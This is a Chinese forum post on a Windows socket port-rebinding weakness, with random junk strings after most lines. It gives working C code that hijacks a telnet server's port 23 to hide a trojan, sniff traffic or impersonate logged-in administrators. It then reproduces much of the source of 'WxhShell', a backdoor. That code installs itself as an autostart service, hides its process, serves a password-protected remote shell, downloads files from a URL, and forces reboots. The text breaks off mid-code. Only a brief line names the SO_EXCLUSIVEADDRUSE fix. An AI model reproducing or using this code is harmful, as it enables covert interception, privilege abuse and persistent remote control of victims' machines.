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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6uCa iPV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dyRKmLb  
/2K4ka<?7  
  saddr.sin_family = AF_INET; =h?WT*  
y]B?{m``6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [2UjY^\;T  
)z/+!y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P {x`eD0  
C`z[25o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bsw0+UY=9  
!>g_9'n'  
  这意味着什么?意味着可以进行如下的攻击: oZxC.;xJ  
Ll%CeP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Xu2MY=  
EX%KfWDr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _ cK"y2  
wRn]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VLuhURI)  
>(s)S[\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b-8{bP]n  
8<C u S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #1i&!et&/  
WG8}}`F|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LfEeFF=#n  
W3s>+yU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V?Y;.n&y  
"d60IM#N?  
  #include @U CGsw  
  #include gwDQ@  
  #include TT3GFP  
  #include    *2ZX*w37  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aA?Uf~ "t  
  int main() &FF%VUfQJ  
  { 96UL](l(`  
  WORD wVersionRequested; HV-c DL  
  DWORD ret; ;0ap#6T  
  WSADATA wsaData; )mw#MTv<[  
  BOOL val; +:3K?G -  
  SOCKADDR_IN saddr; ct+ ;W  
  SOCKADDR_IN scaddr; t{#B td  
  int err; FS7 _ldD  
  SOCKET s; >J+'hm@  
  SOCKET sc; C?jk#T  
  int caddsize; >58N P1[k  
  HANDLE mt; j+He8w-4  
  DWORD tid;   <rZ( B>$  
  wVersionRequested = MAKEWORD( 2, 2 ); K' xN>qc  
  err = WSAStartup( wVersionRequested, &wsaData ); n$RhD93  
  if ( err != 0 ) { qjQR0M C  
  printf("error!WSAStartup failed!\n");  n4;  
  return -1; '\8gY((7   
  } k%|7H,7  
  saddr.sin_family = AF_INET; *Y"Kbn 6  
   dWbSrl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eg Ml(~D  
h.PVRAwk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `)Z"||8K  
  saddr.sin_port = htons(23);  J jRz<T;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f%fD>a  
  { `yYoVu*  
  printf("error!socket failed!\n"); wVU.j$+_#  
  return -1; xj8 yQ Y1  
  } 0$)uOUVJ  
  val = TRUE; HBHDu;u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \$GM4:R D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mw2/jA7  
  { ]X y2km]  
  printf("error!setsockopt failed!\n"); q1!45a  
  return -1; {cmY`to  
  } W^{zlg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +XV7W=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {j$:9  H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2P3,\L  
[B<htD&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0c6b_%Rd  
  { iI T7pq1  
  ret=GetLastError(); I`k%/ei38  
  printf("error!bind failed!\n"); WzD=Ol  
  return -1; 1iNq|~  
  } Vwxb6,}Z  
  listen(s,2); P2la/jN  
  while(1) bMe/jQuL.$  
  { &QHZ]2%U  
  caddsize = sizeof(scaddr); zh8\ _> +  
  //接受连接请求 +9LIpU&5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HK_Vk\e  
  if(sc!=INVALID_SOCKET) ^n Gj 7b  
  { Hw"Lo Vh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r<< ]41  
  if(mt==NULL) t&5N{C:  
  { O5X@'.#rU  
  printf("Thread Creat Failed!\n"); in}d(%3h  
  break; z~8`xn,  
  } 9)P-<  
  } +H"[WZ5  
  CloseHandle(mt); #aHPB#  
  } EWz,K] _'  
  closesocket(s); 1eod;^AP9  
  WSACleanup(); 1ym^G0"s  
  return 0; &+0WZ#VI  
  }   Tvp~~Dk  
  DWORD WINAPI ClientThread(LPVOID lpParam) }6S~"<Ym  
  { 2bIP.M2Fs  
  SOCKET ss = (SOCKET)lpParam; fkKk/M> 1  
  SOCKET sc; .J=<E  
  unsigned char buf[4096]; CuT~ Bj  
  SOCKADDR_IN saddr; LtrE;+%2oz  
  long num; ENoGV;WG  
  DWORD val; -/^a2_d[  
  DWORD ret; [f._w~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3[_zz;Y*d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HNXMM  
  saddr.sin_family = AF_INET; +\s32o zg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6gr?#D -F  
  saddr.sin_port = htons(23); b*5Yy/U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gl am(V1  
  { MBp,! _Q6  
  printf("error!socket failed!\n"); ~F)[H'$A  
  return -1; { Q?\%4>2  
  } XC*!=h*  
  val = 100; _8QHx;}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <GdQ""X  
  { 4hl`~&yDf  
  ret = GetLastError(); z4!Y9  
  return -1; FaA'%P@  
  } n]nb+_-97  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z'Uc}M'U  
  { %"yy8~|  
  ret = GetLastError(); :t)<$dtf[  
  return -1; ]h3{M Tr/  
  } 3'*}ZDC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xZ=6  
  { 0,{tBo  
  printf("error!socket connect failed!\n"); "pA24Ze  
  closesocket(sc); yb/v?q?Fk  
  closesocket(ss); TyGsSc  
  return -1; %f-Uwq&}Y"  
  } 0&21'K)pW  
  while(1) z5tOsU  
  { (Ts#^qC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zn+5pn&?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rl__3q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;o#wK>pk%M  
  num = recv(ss,buf,4096,0); .&Ik(792Z&  
  if(num>0) B5R/GV  
  send(sc,buf,num,0); ?xTdL738  
  else if(num==0) ,qUOPW?=  
  break; |g`:K0BI  
  num = recv(sc,buf,4096,0); AQ<2 "s  
  if(num>0) 'uBagd>*  
  send(ss,buf,num,0); W{!Slf  
  else if(num==0) 5Sh.4A\  
  break; %^qf0d*  
  } m[w 8|[  
  closesocket(ss); GZx?vSoHh  
  closesocket(sc); h\<;N*Xi  
  return 0 ; IKs2.sj"o  
  } -dO9y=?t  
yt 5'2!jc  
`VL<pqPP  
========================================================== M/x*d4b_  
0}4FwcCr\  
下边附上一个代码,,WXhSHELL 8GKqPS+  
du5|/  
========================================================== u27*-X 5  
BpR#3CfW  
#include "stdafx.h" )4O* D92  
<#ZDA/G(  
#include <stdio.h> &Jf67\N  
#include <string.h> \L5h&  
#include <windows.h> XEpwk,8*g  
#include <winsock2.h> Cn"L*\o  
#include <winsvc.h> k2Dq~zn  
#include <urlmon.h> @ C"w 1}  
;p8,=w  
#pragma comment (lib, "Ws2_32.lib") Y'9<fSn5&  
#pragma comment (lib, "urlmon.lib") (i)Ed9~F"  
L=v"5)m2R  
#define MAX_USER   100 // 最大客户端连接数 WoSJp5By$  
#define BUF_SOCK   200 // sock buffer iS#m{1m$$  
#define KEY_BUFF   255 // 输入 buffer {0J (=\u  
\f-HfYG  
#define REBOOT     0   // 重启 /9k}Ip  
#define SHUTDOWN   1   // 关机 Q<UKR|6  
69C>oX  
#define DEF_PORT   5000 // 监听端口 7a#zr_r  
B,NHy C1i  
#define REG_LEN     16   // 注册表键长度 !fT3mI6u\  
#define SVC_LEN     80   // NT服务名长度 _usi~m  
<&87aDYz  
// 从dll定义API r$/.x6g//  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^BN?iXQhN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K[Ao_v2g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R) 'AI[la  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X)^&5;\`  
\CKf/:"  
// wxhshell配置信息 a";xG,U  
struct WSCFG { !<AY0fpY  
  int ws_port;         // 监听端口 g| M@/D l  
  char ws_passstr[REG_LEN]; // 口令 ^hIKDc!.m  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4SGF8y@WU  
  char ws_regname[REG_LEN]; // 注册表键名 t=6Wk4  
  char ws_svcname[REG_LEN]; // 服务名 SHt#%3EU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8pE0ANbq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MoP,a9p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j|c6BdROl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M\w%c5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R3!3TJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &-B&s.,kj  
Q!(qL[o  
}; .=% ,DT"  
(Gp|K6  
// default Wxhshell configuration 6( ~DS9  
struct WSCFG wscfg={DEF_PORT, >^V3Z{;  
    "xuhuanlingzhe", +f]\>{o4  
    1, 7nOn^f D  
    "Wxhshell", AOVoOd+6  
    "Wxhshell", A_}%YHb  
            "WxhShell Service", Jz Z9ua  
    "Wrsky Windows CmdShell Service", B_uAa5'  
    "Please Input Your Password: ", oHj64fE9  
  1, U.0bbr  
  "http://www.wrsky.com/wxhshell.exe", \[5mBuk  
  "Wxhshell.exe" +/Vi"  
    }; [-*8 S1  
J6m(\o  
// 消息定义模块 )9mUE*[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %. -nZC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z+J;nl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .|Bmg6g*  
char *msg_ws_ext="\n\rExit."; }y P98N5o  
char *msg_ws_end="\n\rQuit."; /{7we$+,p  
char *msg_ws_boot="\n\rReboot..."; AYLCdCoK.  
char *msg_ws_poff="\n\rShutdown...";  l6uU S  
char *msg_ws_down="\n\rSave to "; K-f\nr  
q1O}dSPwX  
char *msg_ws_err="\n\rErr!"; VN[i;4o:|  
char *msg_ws_ok="\n\rOK!"; \y*,N^wu  
ukH?O)0O  
char ExeFile[MAX_PATH]; eVx &S a  
int nUser = 0; z,#3YC{'  
HANDLE handles[MAX_USER]; Me|+)}'p5h  
int OsIsNt; twA2U7F  
xgQ]#{ tG  
SERVICE_STATUS       serviceStatus; |Sf` Cs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^FZ7)T  
t1h2ibO  
// 函数声明 TPeBb8v 8D  
int Install(void); W=)wiRQm  
int Uninstall(void); \ mt> R[  
int DownloadFile(char *sURL, SOCKET wsh); X/!37  
int Boot(int flag); 7h3JH  
void HideProc(void); fpK`  
int GetOsVer(void); =P"Sm r  
int Wxhshell(SOCKET wsl); Z" !+p{u  
void TalkWithClient(void *cs); 68v59)0U  
int CmdShell(SOCKET sock); c6NCy s  
int StartFromService(void); J@I-tS  
int StartWxhshell(LPSTR lpCmdLine); mK2M1r  
w}jH,Ew  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H%\\-Z$#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D@yuldx'/  
6qgII~F'  
// 数据结构和表定义 ^-'t`mRl]d  
SERVICE_TABLE_ENTRY DispatchTable[] = ->S6S_H/+&  
{ EjYCOb-  
{wscfg.ws_svcname, NTServiceMain}, M+N7JpR  
{NULL, NULL} koizk&)  
}; b[I;6HW  
2r]!$ hto  
// 自我安装 rLm:qu(F1  
int Install(void) dGb]`*E  
{ c*"TmDY  
  char svExeFile[MAX_PATH]; s3LR6Z7;i  
  HKEY key; J&IFn/JK$  
  strcpy(svExeFile,ExeFile); G3G"SJ np  
}813.U  
// 如果是win9x系统,修改注册表设为自启动  8/|~E  
if(!OsIsNt) { fWBI}~e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u+RdC;_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sN `NZyG  
  RegCloseKey(key); bof{R{3q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cP~?Iz8nD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s: .5S  
  RegCloseKey(key); .2jG~_W[  
  return 0; Q3vWwP;t~  
    } :K) =Hf2y  
  } \q8D7/q  
} zJfoU*G/B  
else { h4GR:`  
n+EK}= DK  
// 如果是NT以上系统,安装为系统服务 ly d[GfJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?6bk&"T?  
if (schSCManager!=0) 'CH|w~E  
{ ;NrkX?Y  
  SC_HANDLE schService = CreateService _faI*OY8  
  ( w:z@!<  
  schSCManager, tzxp0&:Z].  
  wscfg.ws_svcname, m_TZY_;  
  wscfg.ws_svcdisp, jaAv_=93f  
  SERVICE_ALL_ACCESS, U/B1/96lJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $rySz7NI  
  SERVICE_AUTO_START, ^;2dZgJ4^  
  SERVICE_ERROR_NORMAL, <N%8"o  
  svExeFile, \Mv8pU  
  NULL, ;n*N9-|.  
  NULL, O/IW.t  
  NULL, qO<'_7TN[  
  NULL, xy% lp{  
  NULL ua['rOnU  
  ); dQ8}mH!  
  if (schService!=0) {.N" 6P  
  { W"rX$D [Le  
  CloseServiceHandle(schService); 1GY[1M1^  
  CloseServiceHandle(schSCManager); N[j7^q7Xt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #=f ]"uM<  
  strcat(svExeFile,wscfg.ws_svcname); X,/@#pSOz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xw5E!]~D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vO1P%)  
  RegCloseKey(key); E5lC'@Dcz  
  return 0; #;RP ?s  
    } C61KY7iyR  
  } '"5" $)7  
  CloseServiceHandle(schSCManager); [FKmZzEy  
} Q^v8n1  
} *n0k2 p  
;<#fZ0(l;  
return 1; #ZIV>(Q\H  
} >qn@E?Uf  
(~TP  
// 自我卸载 `5`Pv'`  
int Uninstall(void) [&rW+/  
{ ,z)7rU`  
  HKEY key; @T1/S&F=  
i\B >J?Q\  
if(!OsIsNt) { lC6#EU;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kbc-$ oneR  
  RegDeleteValue(key,wscfg.ws_regname); YE5v~2  
  RegCloseKey(key); sHe:h XG'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o(~>a  
  RegDeleteValue(key,wscfg.ws_regname); piO+K!C0n:  
  RegCloseKey(key); Ifu$p]~z$  
  return 0; yov:JnWo  
  } [^W4%S  
} \1RQ),5 %]  
} cW),Y|8  
else {  !+IxPn  
c?d+>5"VX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4i[3|hv'  
if (schSCManager!=0) {R[lsdH(X  
{ 0-g,C=L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K+H?,I  
  if (schService!=0) 0At??Z py  
  { b]mRn{r?  
  if(DeleteService(schService)!=0) { DB_ x  
  CloseServiceHandle(schService); kT UQ8U  
  CloseServiceHandle(schSCManager); 9U58#  
  return 0; /U)w:B+p/g  
  } K4xZT+Qb  
  CloseServiceHandle(schService); %yQ-~T@  
  } *ZGQ`#1.X6  
  CloseServiceHandle(schSCManager); x}1(okc  
} )xP]rOT  
} ~@z5Ld3xz  
@P"q`*  
return 1; )G ,LG0"-  
} g i:;{  
Ih`n:aA  
// 从指定url下载文件 bqf=;Nvog  
int DownloadFile(char *sURL, SOCKET wsh) X8bo?0  
{ ~m uVQ  
  HRESULT hr; )TM![^d  
char seps[]= "/"; +:It1`A~]  
char *token; +F 6KGK[  
char *file; /Os)4yH\  
char myURL[MAX_PATH]; 622mNY  
char myFILE[MAX_PATH]; *ARro Ndr  
U*k$pp6\b~  
strcpy(myURL,sURL); hS +;HB,  
  token=strtok(myURL,seps); 4cJ7.Pez  
  while(token!=NULL) VQ<Z`5eV  
  { guSgTUJ}  
    file=token; NEZF q?  
  token=strtok(NULL,seps); 1&QI1fvx  
  } Ec0Ee0%A]  
\I,<G7!0  
GetCurrentDirectory(MAX_PATH,myFILE); Qkqn~>  
strcat(myFILE, "\\"); 6! g3Juh  
strcat(myFILE, file); &66G  
  send(wsh,myFILE,strlen(myFILE),0); uz Z|w+3O  
send(wsh,"...",3,0); GWA_,/jS%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fylW)W4C  
  if(hr==S_OK) |fTQ\q]W  
return 0; r9s1\7]x  
else V}9wx%v  
return 1; &J"a`l2  
%)l2dK&9"j  
} X.Z?Ie  
v_5DeaMF'  
// 系统电源模块 ?b8NEVjw  
int Boot(int flag) LAf!y"A#  
{ +#Ov9b  
  HANDLE hToken; q.<q(r  
  TOKEN_PRIVILEGES tkp; P). @o.xl  
p$[*GXR4  
  if(OsIsNt) { $am7 xd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [(ty{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 51;(vf  
    tkp.PrivilegeCount = 1; do=VPqy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uk;SY[mU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rM bb%d:  
if(flag==REBOOT) { ,=6Eju#P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @[ :sP  
  return 0; VWfrcSZg6M  
} mW8CqW\Q5  
else { RNX}Wlo-s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [.<vISRir  
  return 0; zy$hDy0  
} )\VUAD%~e7  
  } wM!QU{Lz  
  else { A| Y\Y}  
if(flag==REBOOT) { y62;&{?m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ItOVx!"@9  
  return 0; 5QS d$J  
} `i{o8l  
else { >r]# 77d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y-sQ"HPN  
  return 0; yuI5# VUS  
} E/s3@-/  
} &nz1[,  
t'9E~_!C  
return 1; IyP\7WZ  
} Ujj2A^  
tanuP@O  
// win9x进程隐藏模块 )2^OBfl7  
void HideProc(void) 31b-r[B{%  
{ 7* `ldao~  
O=mGL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UBC[5E$  
  if ( hKernel != NULL ) dc?Yk3(Y  
  { wEDU*}~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -h.YQC`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B0 R[f  
    FreeLibrary(hKernel); WUa-hm2:  
  } j./bVmd.  
eyAg\uuih  
return; M $e~Rlw  
} MQG$J!N  
NqF-[G<  
// 获取操作系统版本 mup3ua]!  
int GetOsVer(void) h{PLyWH  
{ ojIh;e  
  OSVERSIONINFO winfo; 4 &|9304<H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "lmiGR*u  
  GetVersionEx(&winfo); 6#{= E @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gWWy!H  
  return 1; z6{0\#'K  
  else v"$; aJ  
  return 0; &kO4^ A  
} Xq)'p8C?  
>nr1|2  
// 客户端句柄模块 o9eK7*D  
int Wxhshell(SOCKET wsl) K}Z'!+<U  
{ KqtI^qC8  
  SOCKET wsh; k8*=1kl"  
  struct sockaddr_in client; 8g0& (9<)  
  DWORD myID; 5/*ZqrJw{"  
`>#X,Lw$g  
  while(nUser<MAX_USER) <M\Z}2d  
{ Q kQd;y  
  int nSize=sizeof(client); 6Jj)[ R\5=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?_tOqh@in  
  if(wsh==INVALID_SOCKET) return 1; #bdJ]v.n  
5Cz:$-+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  =6A<>  
if(handles[nUser]==0) T+.wJ W:jh  
  closesocket(wsh); '*~{1gG `  
else :nXB w%0x  
  nUser++; `b%/.%]$  
  }  "= UP&=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KY"~Ta`  
foJ|Q\Z,T  
  return 0; #o^E1cI  
} ;hZ(20  
~;`i&s  
// 关闭 socket d+^4 ;Hv4  
void CloseIt(SOCKET wsh) JTs.NY <z  
{ fi,=z  
closesocket(wsh); 94lmsE  
nUser--; L$ ON=$q5  
ExitThread(0); Nv ew^c)x  
} oNEU?+  
] 2b@mX  
// 客户端请求句柄 ?3z x?>sG  
void TalkWithClient(void *cs) 4l3N#U0Q  
{ twN(]w}Ps|  
CRqa[boU*  
  SOCKET wsh=(SOCKET)cs; em W#ZX  
  char pwd[SVC_LEN]; $u"K1Q 3  
  char cmd[KEY_BUFF]; 5VPuHY2  
char chr[1]; 6>vj({,1Y*  
int i,j; }3i@5ctQ  
:#|77b0  
  while (nUser < MAX_USER) { *yX_dgC>[  
?=T&|pp  
if(wscfg.ws_passstr) { j1d=$'a "  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,~kMkBkl~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -51L!x}1c  
  //ZeroMemory(pwd,KEY_BUFF); }=L >u>cP  
      i=0; uC}YKT>V7  
  while(i<SVC_LEN) { Cy2X>Tl"<E  
+5HOT{wj  
  // 设置超时 Mz{>vb  
  fd_set FdRead; My1E@<  
  struct timeval TimeOut; ahf$#UQLb  
  FD_ZERO(&FdRead); @a3<fmJ  
  FD_SET(wsh,&FdRead); *Js<VR  
  TimeOut.tv_sec=8; jBB<{VV|  
  TimeOut.tv_usec=0; ~_oTEXT^O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Jtaq[y\r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `}=Fw0  
U$J]^-AS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |zUDu\MZ{  
  pwd=chr[0]; xFvSQ`sp  
  if(chr[0]==0xd || chr[0]==0xa) { |Y99s)2&N  
  pwd=0; v EX <9  
  break; VEpQT Qp  
  } 6D+k[oHZm  
  i++; AKWw36lm  
    } hQ\]vp7V  
/2U.,vw  
  // 如果是非法用户,关闭 socket !eO?75/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  m$cM+  
} D0-e,)G}V,  
IQ~()/;3d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >/n/n{{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t +#Ss v8  
Iq52rI}  
while(1) { jQdfFR  
kOc'@;_O  
  ZeroMemory(cmd,KEY_BUFF); A} "*`y  
< 37vWK1+  
      // 自动支持客户端 telnet标准   SVpe^iQ]1\  
  j=0; !6}Cs3.  
  while(j<KEY_BUFF) { un/R7 "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~cez+VQe  
  cmd[j]=chr[0]; .Q#Eb %%  
  if(chr[0]==0xa || chr[0]==0xd) { Q2 edS|  
  cmd[j]=0; ae<KUThm.  
  break; 1`uIjXr(  
  } _Yhpj}KZ  
  j++; un\^Wmbw  
    } :I7MP   
*V\kS  
  // 下载文件 JxWHrsh[  
  if(strstr(cmd,"http://")) { bH.">IV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4EELaP|%  
  if(DownloadFile(cmd,wsh)) HWd,1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"Xm9 (  
  else #}gc6T~0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ox*Ka]  
  } |~/{lE=I  
  else { 6` s[PKP.  
IW46-;l7  
    switch(cmd[0]) { k^L (q\D  
  jC@^/rMh  
  // 帮助 Vz,WPm$I  
  case '?': { WGO=@jkf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RHBEC@d[}  
    break; FJ!>3V;}  
  } ^ 1g6(k'  
  // 安装 Ry(!< w,  
  case 'i': { qd.b&i  
    if(Install()) PM|K*,3J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aR\=p:%jGI  
    else  ;js7rt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }6KL   
    break; IS!+J.2  
    } z~W@`'f  
  // 卸载 -R8RAwsLG  
  case 'r': { a[u8x mH  
    if(Uninstall()) Zf"AqGP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`krv-,O$  
    else {P]l{W@li  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I;`V*/s8"  
    break; #"Zr#P{P  
    } {L+?n*;CA  
  // 显示 wxhshell 所在路径 OO$<Wgh  
  case 'p': { SUx0!_f*R  
    char svExeFile[MAX_PATH]; IKU -  
    strcpy(svExeFile,"\n\r"); kz&)a>aA  
      strcat(svExeFile,ExeFile); W t8 RC  
        send(wsh,svExeFile,strlen(svExeFile),0); khIh<-s!  
    break; J3zb_!PPE  
    } =y4g. J\  
  // 重启 kSJWQ  
  case 'b': { fT@#S}t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k`&mHSk-  
    if(Boot(REBOOT)) ecF I"g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o0/03O  
    else { Qh*|mW  
    closesocket(wsh); OUs2)H61  
    ExitThread(0); 0>'1|8+`(z  
    } OVd"'|&6_  
    break; *=I#VN*_<.  
    } ~/NA?E-c  
  // 关机 zso.?`85  
  case 'd': { ^qDkSoqC"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 55;xAsG  
